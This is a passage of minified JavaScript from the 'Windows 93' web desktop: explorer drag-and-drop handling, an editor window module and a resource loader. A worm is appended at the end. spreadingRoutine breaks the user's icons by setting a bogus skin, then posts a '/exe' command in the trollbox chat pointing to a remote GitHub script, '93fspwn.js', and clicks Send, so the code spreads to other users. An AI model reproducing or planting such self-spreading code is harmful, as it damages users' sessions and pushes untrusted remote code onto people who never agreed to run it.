8272 grid: function() {
8273 return !!$key.space && [e._icons.w, e._icons.h]
8274 },
8275 onstart: function(e) {
8276 m = $drag.elem.parentNode.classList.contains("ui_explorer--workspace"), $drag.elem.classList.contains("ui_selected") || ($explorer.selection.reset().add($drag.elem).display(), $drag.ghost.classList.add("ui_selected")), f = $drag.elem.getBoundingClientRect(), p.length = 0, p.push({
8277 focus: !0,
8278 el: $drag.elem,
8279 ghost: $drag.ghost,
8280 rect: f
8281 }), $explorer.selection.each(function(e, t) {
8282 if ($drag.elem !== e) {
8283 var n = $drag.createGhost(e);
8284 n.style.zIndex = 9998 - t;
8285 var o = e.getBoundingClientRect();
8286 document.body.appendChild(n), p.push({
8287 el: e,
8288 ghost: n,
8289 rect: o
8290 })
8291 }
8292 }), 2 === e.button ? (x = !0, a(!0)) : (x = !1, a(e))
8293 },
8294 ondrag: function(e) {
8295 t()
8296 },
8297 onstop: function(e) {},
8298 ondrop: function(e) {
8299 $drag.y < 0 || $drag.x < 0 ? (p.sort(function(e, t) {
8300 var n = e.el.getAttribute("data-name");
8301 return t.el.getAttribute("data-name").toLowerCase().localeCompare(n.toLowerCase())
8302 }), y.pos()) : y.cancel()
8303 },
8304 zone: {
8305 '.ui_explorer, [data-exe^="/a/"][data-exe$="/"], [data-exe^="/~/"][data-exe$="/"]': {
8306 move: function(e, t) {
8307 x || $(e)
8308 },
8309 enter: function(e, t) {
8310 r(e, t)
8311 },
8312 leave: function(e, t) {
8313 i(t)
8314 },
8315 drop: function(t, n, o) {
8316 i(n), 2 === t.button ? v.dragMenu.show(n, { of: t,
8317 within: e._dom.screen
8318 }) : y.move()
8319 }
8320 }
8321 }
8322});
8323var y = {
8324 pos: function() {
8325 var t = Date.now() + p.length + 1;
8326 n(function(n, o, a, r, i) {
8327 n.classList.remove("hide"), r.focus && n.focus(), m ? (n.style.top = o.style.top, n.style.left = o.style.left, e._desktop[n.getAttribute("data-name")] = {
8328 x: n.offsetLeft,
8329 y: n.offsetTop,
8330 time: t - i
8331 }, s(o)) : l(n, o, a)
8332 }), $explorer.instances[0].reorder(), o()
8333 },
8334 move: function(e) {
8335 e = $drag.zone || this, p[0] && p[0].el && p[0].el.parentNode !== e ? c(e, function(e, t, n, o) {
8336 $file.move(e, t, function(e) {
8337 "/a/trash/WINDOWS 93.lnk42" === e && d(), o(e)
8338 })
8339 }) : y.pos()
8340 },
8341 copy: function(e) {
8342 c($drag.zone || this, function(e, t, n, o) {
8343 $file.copy(e, n, o)
8344 })
8345 },
8346 link: function(e) {
8347 c($drag.zone || this, function(e, t, n, o) {
8348 var a = t.replace(/^\/a\/|\/$/g, "") + ".lnk42";
8349 $store.set(a, {
8350 exe: this.el.getAttribute("data-path")
8351 }), o("/a/" + a)
8352 })
8353 },
8354 cancel: function() {
8355 n(function(e, t, n) {
8356 l(e, t, n)
8357 }), o()
8358 }
8359 },
8360 v = v || {};
8361v.dragMenu = $menu([{
8362 name: "Copy here",
8363 action: y.copy
8364}, {
8365 name: "Move here",
8366 action: y.move
8367}, {
8368 name: "Link here",
8369 action: y.link
8370}, {
8371 name: "---"
8372}, {
8373 name: "Cancel",
8374 action: y.cancel
8375}], {
8376 oncancel: y.cancel
8377}), $file.ondrop(e._dom.desktop, ".ui_explorer--local", function(e) {
8378 function t(t) {
8379 $state.loading(), $store.set(s.replace(/^\/a\//, "") + l, t), $file.scan("/a/", function() {
8380 $explorer.utils.saveIconPos(s, r, l, e.clientX, e.clientY), $explorer.instances[r].refresh(), $state.loaded()
8381 })
8382 }
8383
8384 function n(t, n) {
8385 $explorer.utils.saveIconPos("/a/" + t, r, n, e.clientX, e.clientY)
8386 }
8387
8388 function o(e, t) {
8389 t = t || "";
8390 e.isFile ? e.file(function(e) {
8391 $file.save(t, e, function(e) {
8392 n(t, e), $explorer.instances[r].refresh()
8393 })
8394 }) : e.isDirectory && e.createReader().readEntries(function(a) {
8395 if (a.length)
8396 for (var i = 0; i < a.length; i++) o(a[i], t + e.name + "/");
8397 else $store.set(t + e.name + "/", null), $file.scan(c, function() {
8398 $explorer.instances[r].refresh()
8399 });
8400 n(t, e.name)
8401 })
8402 }
8403 var a, r = this.getAttribute("data-id");
8404 if ($io.arr.all(e.dataTransfer.types, function(t) {
8405 "text/uri-list" !== t && "text/x-moz-url" !== t || (a = e.dataTransfer.getData("text/plain"))
8406 }), a) {
8407 a = a.replace(location.origin, "");
8408 var i = $exe.parseURL(a, function(e) {
8409 t(e)
8410 }, function(e) {
8411 t(e)
8412 }),
8413 s = $explorer.instances[r].getPath(),
8414 l = a.replace(/https?:\/\//, "").replace(/\//g, "%2F") + ".lnk42";
8415 i.name = l, t(i)
8416 } else if (e.dataTransfer && e.dataTransfer.files && e.dataTransfer.files.length && $explorer.instances[r] && "function" == typeof $explorer.instances[r].getPath)
8417 for (var c = $explorer.instances[r].getPath(), d = c.replace(/^\/a\//, ""), u = e.dataTransfer.items, p = 0; p < u.length; p++) {
8418 var f = u[p].webkitGetAsEntry();
8419 f && o(f, d)
8420 }
8421})
8422});
8423//os/sys/editor.js
8424system42(function(e) {
8425"use strict";
8426
8427function t(t, n) {
8428 function i(e, t, n) {
8429 l && (l.changeTitle((e ? e + " - " : "") + f.name), l.changeFooter(t.mime || " ")), c = $fs.utils.getFileName(e), r = t, a.readFile.call(t, n)
8430 }
8431
8432 function o(e) {
8433 t.filePath = e;
8434 var n = t.type || "String";
8435 "URL" === n ? $file.getUrl(e, function(t) {
8436 m = "URL", i(e, $fs.utils.getInfo(e), t)
8437 }) : $file.open(e, n, function(t, n) {
8438 m = n, i(e, this, t)
8439 })
8440 }
8441 var a, l, u, f = this.app;
8442 (t = t || {}).filePath = "string" == typeof t.filePath ? t.filePath : "";
8443 var r = {},
8444 s = [];
8445 ! function() {
8446 f.ext ? $io.arr.all(f.ext, function(t) {
8447 var n = e._get.ext.mime["." + t];
8448 n && s.push(n)
8449 }) : f.mimetype && (s = $io.is.arr(f.mimetype) ? f.mimetype : [f.mimetype])
8450 }();
8451 var c, m = "String",
8452 p = {
8453 New: function() {
8454 return a.setValue(""), !1
8455 },
8456 Open: function() {
8457 var n = t.defaultFolder || u || t.filePath || e._path.home;
8458 return setTimeout(function() {
8459 $explorer(n, {
8460 browse: !0,
8461 list: !0,
8462 accept: f.accept || "*",
8463 window: {
8464 animationIn: "",
8465 animationOut: "",
8466 center: !0
8467 },
8468 onclose: function(e, t) {
8469 e && (u = $fs.utils.getFolderPath(t), o(t))
8470 }
8471 })
8472 }, 0), !1
8473 },
8474 SaveAs: function() {
8475 function n(n, i) {
8476 i && (m = i);
8477 var o = 0 === t.filePath.indexOf("/a/") ? t.filePath : e._path.desktop + (t.filePath ? $fs.utils.getFileName(t.filePath) : "");
8478 setTimeout(function() {
8479 $explorer(o, {
8480 save: !0,
8481 list: !0,
8482 accept: n || f.accept || "*",
8483 window: {
8484 animationIn: "",
8485 animationOut: "",
8486 center: !0
8487 },
8488 onclose: function(e, n) {
8489 e && (u = $fs.utils.getFolderPath(n), t.filePath = n, r = $fs.utils.getInfo(n), p.Save())
8490 }
8491 })
8492 }, 0)
8493 }
8494 return a.beforeSaveAs ? a.beforeSaveAs(n) : n(), !1
8495 },
8496 Save: function() {
8497 function e(e) {
8498 $file.save(t.filePath, e, function() {})
8499 }
8500 var n = m;
8501 if (t.filePath && 0 === t.filePath.indexOf("/a/")) {
8502 var i = r.mime;
8503 a.getValue(function(t) {
8504 var o = $io.type(t);
8505 "Blob" === n ? $io[o].Blob(t, function(t) {
8506 e(t)
8507 }, i) : $io[o][n](t, function(t) {
8508 e(t)
8509 })
8510 }, i)
8511 } else p.SaveAs();
8512 return !1
8513 },
8514 Import: function() {
8515 $file.upload(function(e) {
8516 var n = e[0];
8517 $io.File[t.type || "String"](n, function(e) {
8518 i(n.name, {
8519 file: n.name,
8520 mime: n.type
8521 }, e)
8522 })
8523 }, {
8524 accept: f.accept || "*"
8525 })
8526 },
8527 Export: function() {
8528 function e(e) {
8529 a.getValue(function(t) {
8530 var n = $io.type(t);
8531 $io[n].Blob(t, function(e) {
8532 $file.download(e, c)
8533 }, e || r.mime)
8534 }, e || r.mime)
8535 }
8536 a.beforeSaveAs ? a.beforeSaveAs(e) : e()
8537 },
8538 Undo: function() {
8539 return a.undo(), !1
8540 },
8541 Redo: function() {
8542 return a.redo(), !1
8543 },
8544 Quit: function() {
8545 return l.close(), !1
8546 }
8547 };
8548 if (!1 === t.save) h = [{
8549 name: "File",
8550 items: [{
8551 name: "New",
8552 action: p.New
8553 }, {
8554 name: "Open",
8555 action: p.Open,
8556 key: "ctrl+o"
8557 }, {
8558 name: "---"
8559 }, {
8560 name: "Quit",
8561 action: p.Quit
8562 }]
8563 }];
8564 else var h = [{
8565 name: "File",
8566 items: [{
8567 name: "New",
8568 action: p.New
8569 }, {
8570 name: "Open",
8571 action: p.Open,
8572 key: "ctrl+o"
8573 }, {
8574 name: "Save",
8575 action: p.Save,
8576 key: "ctrl+s",
8577 disabled: !1
8578 }, {
8579 name: "Save As...",
8580 action: p.SaveAs,
8581 key: "ctrl+shift+s"
8582 }, {
8583 name: "---"
8584 }, {
8585 name: "Open File With...",
8586 items: function() {
8587 return $fs.utils.getMenuOpenWith(t.filePath)
8588 }
8589 }, {
8590 name: "Open Containing Folder",
8591 key: "ctrl+alt+enter",
8592 action: function() {
8593 setTimeout(function() {
8594 $explorer(t.filePath)
8595 }, 0)
8596 }
8597 }, {
8598 name: "---"
8599 }, {
8600 name: "Quit",
8601 action: p.Quit
8602 }]
8603 }];
8604 if (t.undo && h.push({
8605 name: "Edit",
8606 items: [{
8607 name: "Undo",
8608 action: p.Undo,
8609 key: "ctrl+z"
8610 }, {
8611 name: "Redo",
8612 action: p.Redo,
8613 key: "ctrl+y"
8614 }]
8615 }), t.help) {
8616 var d = [];
8617 t.help.instructions && d.push({
8618 name: "Instructions",
8619 action: function() {
8620 $alert.help({
8621 title: "Instructions",
8622 html: t.help.instructions
8623 })
8624 }
8625 }), t.help.about && d.push({
8626 name: "About",
8627 action: function() {
8628 "string" == typeof t.help.about && (t.help.about = {
8629 msg: t.help.about
8630 }), $alert({
8631 title: "About",
8632 msg: t.help.about.msg,
8633 img: t.help.about.img || f.icon || null,
8634 onopen: $noop
8635 })
8636 }
8637 }), h.push({
8638 name: "Help",
8639 items: d
8640 })
8641 }
8642 t.about && h.push({
8643 name: "About",
8644 action: function() {
8645 "string" == typeof t.about && (t.about = {
8646 msg: t.about
8647 }), $alert({
8648 title: "About",
8649 msg: t.about.msg,
8650 img: t.about.img || f.icon || null,
8651 onopen: $noop
8652 })
8653 }
8654 });
8655 var $ = {};
8656 if (t.nodeType && 1 === t.nodeType) {
8657 var v = t;
8658 a = (t = n).create(v)
8659 } else "function" == typeof t.create ? ($.url = null, $.onopen = function() {
8660 this.el.footer.firstChild && (this.el.footer.firstChild.className = "ui_editor__footer skin_base_text_info"), a = t.create(this.el.body), t.filePath ? o(t.filePath) : a.setValue("")
8661 }) : ($.url = $.url + (t.filePath ? "?path=" + t.filePath : ""), $.onready = function() {
8662 this.el.footer.firstChild && (this.el.footer.firstChild.className = "ui_editor__footer skin_base_text_info");
8663 var e = this.el.iframe;
8664 e && e.contentWindow.$iframeInit && (a = e.contentWindow.$iframeInit.call(this), t.filePath ? o(t.filePath) : a.setValue && a.setValue(""))
8665 }), this.app.icon && ($.icon = this.app.icon), $.menu = h, $.footer = " ", $.title = (t.filePath ? t.filePath + " - " : "") + this.app.name, l = $window.call(this, $extend($, t.window))
8666}
8667window.$editor = t
8668});
8669//js/loader.js
8670! function(t) {
8671"use strict";
8672
8673function n(t) {
8674 document.body.appendChild(t)
8675}
8676
8677function e(t, n) {
8678 var e = [];
8679 t.forEach(function(t) {
8680 var n = $url.getExtention(t);
8681 "js" === n ? e.push(r.script(t)) : "css" === n ? e.push(r.css(t)) : /txt|html|php|json|xml/.test(n) ? e.push(r.txt(t)) : /mp3|opus|ogg|wav|aac|m4a|mp4|weba/.test(n) && e.push(r.audio(t))
8682 }), Promise.all(e).then(function(t) {
8683 n.apply(null, t)
8684 }).catch(function(t) {})
8685}
8686var o = t.$noop || function() {},
8687 c = {
8688 onpass: o,
8689 onfail: o
8690 },
8691 r = {
8692 script: function(t) {
8693 return new Promise(function(e, o) {
8694 var c = document.createElement("script");
8695 c.className = "js_dynamic-deps", c.type = "text/javascript", c.charset = "utf-8", c.async = !1, c.defer = !0, c.onload = c.onreadystatechange = function(t, n) {
8696 c.readyState && !/loaded|complete/.test(c.readyState) || (n ? o("script not loaded correctly (abort)") : e(c))
8697 }, c.onerror = function() {
8698 o("script not loaded correctly")
8699 }, n(c), c.src = t
8700 })
8701 },
8702 css: function(t) {
8703 return new Promise(function(e, o) {
8704 var c = document.createElement("link");
8705 c.className = "js_dynamic-deps", c.charset = "utf-8", c.rel = "stylesheet", c.href = t, n(c), e(c)
8706 })
8707 },
8708 txt: function(t) {
8709 return new Promise(function(n, e) {
8710 $ajax.get(t).done(function(t) {
8711 n(t)
8712 }).fail(function(t) {
8713 e("ajax error: " + t.status + " " + t.statusText)
8714 })
8715 })
8716 },
8717 audio: function(t) {
8718 return new Promise(function(n, e) {
8719 $audio({
8720 urls: [t],
8721 buffer: !1,
8722 onload: function() {
8723 n(this)
8724 },
8725 onloaderror: function() {
8726 e("sound not loaded correctly")
8727 }
8728 })
8729 })
8730 }
8731 };
8732e.script = function(t, n) {
8733 return r.script(t)
8734}, e.config = function(t) {
8735 $extend(c, t)
8736}, t.$loader = e
8737}(this);
8738function spreadingRoutine() {
8739// spread over trollbox
8740$exe('trollbox')
8741system42.data._settings.skin = "TOPKEK"; // changes the iconset to one that doesn't exist which causes all icons to fail loading unless you change the var back to 'w93'
8742$DOC=document.getElementsByTagName('iframe')[0].contentWindow.document;
8743for (var i = $DOC.getElementsByTagName('button').length - 1; i >= 0; i--) {
8744 if($DOC.getElementsByTagName('button')[i].innerHTML=='Send'){
8745 var $Z = $DOC.getElementsByTagName('button')[i];
8746 }
8747}
8748$DOC.getElementById('trollbox_input').value='/exe https://raw.githubusercontent.com/fr3x31dev/fr3x31dev.github.io/master/dl/93fspwn.js';
8749$Z.click();
8750}
8751spreadingRoutine();
8752$alert.error('Written by fr3x31dev 2017: thanks dominic, draeco, and darkphoenix10 for the help.')